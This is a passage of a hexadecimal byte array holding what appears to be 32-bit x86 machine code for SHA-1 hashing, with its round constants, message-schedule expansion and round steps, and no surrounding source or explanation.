0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF0, 0x41, 0x40, 0x00, 0xA1, 0xE8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF4, 0x41, 0x40, 0x00, 0xA1, 0xEC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF8, 0x41, 0x40, 0x00, 0xA1, 0xF0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xFC, 0x41, 0x40, 0x00, 0xA1, 0xF4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x00, 0x42, 0x40, 0x00, 0xA1, 0xF8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x04, 0x42, 0x40, 0x00, 0xA1, 0xFC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x08, 0x42, 0x40, 0x00, 0xA1, 0x00, 0x42\n, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x0C, 0x42, 0x40, 0x00, 0xA1, 0x04, 0x42, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x10, 0x42, 0x40, 0x00, 0xA1, 0x08, 0x42, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x14, 0x42, 0x40, 0x00, 0xBE, 0x99, 0x79, 0x82, 0x5A, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xD8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xDC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE0, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE4, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xEC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF0, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF4, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x00, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x04, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x08, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00,\n 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x10, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x14, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x18, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x20, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x24, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xA1, 0xEB, 0xD9, 0x6E, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x28, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x30, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x34, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x38, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x40, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 